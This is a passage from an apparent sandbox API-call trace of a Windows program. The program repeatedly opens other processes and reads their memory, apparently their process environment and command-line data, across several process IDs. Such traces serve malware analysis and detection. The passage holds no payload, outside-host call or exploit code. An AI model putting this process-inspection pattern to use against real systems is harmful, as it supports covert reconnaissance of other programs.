| out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.406] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.406] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x641ce0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.406] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x6418f8, lpBuffer=0x2dc237c1c0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0181.407] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0181.408] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0181.408] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x257020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0181.408] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x6412e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0181.408] malloc (_Size=0x6e) returned 0x20abc2831b0 [0181.408] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x64195e, lpBuffer=0x20abc2831b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0181.409] free (_Block=0x20abc2831b0) [0181.409] CloseHandle (hObject=0x330) returned 1 [0181.410] _ui64tow_s (in: _Value=0xb70, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="2928") returned 0x0 [0181.413] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="2928") returned 4 [0181.414] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0181.414] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0181.442] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb70) returned 0x330 [0181.442] GetLastError () returned 0x0 [0181.442] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.442] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3a7018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.442] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.442] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x521cd0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.443] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5218f8, lpBuffer=0x2dc237c1c0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0181.444] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0181.445] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0181.445] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3a7020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0181.445] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5212e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0181.445] malloc (_Size=0x68) returned 0x20abc2807d0 [0181.445] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x521958, lpBuffer=0x20abc2807d0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2807d0*, lpNumberOfBytesRead=0x0) returned 1 [0181.446] free (_Block=0x20abc2807d0) [0181.447] CloseHandle (hObject=0x330) returned 1 [0181.447] _ui64tow_s (in: _Value=0x420, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="1056") returned 0x0 [0181.452] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="1056") returned 4 [0181.453] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0181.453] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0181.469] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x420) returned 0x330 [0181.469] GetLastError () returned 0x0 [0181.470] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.470] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x27e018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.470] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.470] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x111d10, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.470] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1118f8, lpBuffer=0x2dc237c1c0, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0181.472] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0181.473] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0181.473] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x27e020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0181.473] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1112e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0181.473] malloc (_Size=0x7e) returned 0x20abc284f30 [0181.473] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x11196e, lpBuffer=0x20abc284f30, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f30*, lpNumberOfBytesRead=0x0) returned 1 [0181.474] free (_Block=0x20abc284f30) [0181.475] CloseHandle (hObject=0x330) returned 1 [0181.475] _ui64tow_s (in: _Value=0xec0, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3776") returned 0x0 [0181.479] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3776") returned 4 [0181.480] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0181.480] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0181.496] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xec0) returned 0x330 [0181.496] GetLastError () returned 0x0 [0181.496] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.496] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2b8018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.497] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.497] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x531d00, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.497] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5318f8, lpBuffer=0x2dc237c1c0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0181.499] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0181.500] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0181.500] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2b8020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0181.500] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5312e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0181.500] malloc (_Size=0x7a) returned 0x20abc284f30 [0181.500] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x53196a, lpBuffer=0x20abc284f30, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f30*, lpNumberOfBytesRead=0x0) returned 1 [0181.501] free (_Block=0x20abc284f30) [0181.502] CloseHandle (hObject=0x330) returned 1 [0181.503] _ui64tow_s (in: _Value=0x1004, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4100") returned 0x0 [0181.507] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4100") returned 4 [0181.508] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0181.508] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0181.536] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1004) returned 0x330 [0181.536] GetLastError () returned 0x0 [0181.537] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.537] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x350018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.537] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.537] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x511d00, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.538] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5118f8, lpBuffer=0x2dc237c1c0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0181.539] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0181.540] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0181.540] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x350020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0181.540] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5112e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0181.540] malloc (_Size=0x78) returned 0x20abc282120 [0181.540] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x511968, lpBuffer=0x20abc282120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0181.542] free (_Block=0x20abc282120) [0181.542] CloseHandle (hObject=0x330) returned 1 [0181.543] _ui64tow_s (in: _Value=0x1014, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4116") returned 0x0 [0181.547] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4116") returned 4 [0181.548] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0181.548] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0181.578] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1014) returned 0x330 [0181.579] GetLastError () returned 0x0 [0181.579] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.579] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x314018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.579] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.579] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1c1d00, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.579] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1c18f8, lpBuffer=0x2dc237c1c0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0181.581] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0181.582] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0181.582] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x314020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0181.582] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1c12e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0181.582] malloc (_Size=0x78) returned 0x20abc282120 [0181.582] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1c1968, lpBuffer=0x20abc282120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0181.583] free (_Block=0x20abc282120) [0181.584] CloseHandle (hObject=0x330) returned 1 [0181.585] _ui64tow_s (in: _Value=0x101c, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4124") returned 0x0 [0181.589] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4124") returned 4 [0181.590] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0181.590] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0181.694] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x101c) returned 0x330 [0181.694] GetLastError () returned 0x0 [0181.694] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.694] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3c9018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.695] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.695] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1e1cc0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.695] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1e18f8, lpBuffer=0x2dc237c1c0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0181.696] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0181.697] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0181.697] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3c9020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0181.698] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1e12e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0181.698] malloc (_Size=0x64) returned 0x20abc280840 [0181.698] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1e1954, lpBuffer=0x20abc280840, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0181.699] free (_Block=0x20abc280840) [0181.699] CloseHandle (hObject=0x330) returned 1 [0181.700] _ui64tow_s (in: _Value=0x1028, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4136") returned 0x0 [0181.733] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4136") returned 4 [0181.734] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0181.734] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0181.749] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1028) returned 0x330 [0181.749] GetLastError () returned 0x0 [0181.750] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.750] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2d2018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.750] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.750] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5d1cd0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.750] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5d18f8, lpBuffer=0x2dc237c1c0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0181.751] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0181.753] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0181.753] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2d2020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0181.753] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5d12e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0181.753] malloc (_Size=0x66) returned 0x20abc2803e0 [0181.753] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5d1956, lpBuffer=0x20abc2803e0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2803e0*, lpNumberOfBytesRead=0x0) returned 1 [0181.754] free (_Block=0x20abc2803e0) [0181.755] CloseHandle (hObject=0x330) returned 1 [0181.755] _ui64tow_s (in: _Value=0x1038, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4152") returned 0x0 [0181.759] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4152") returned 4 [0181.761] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0181.761] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: 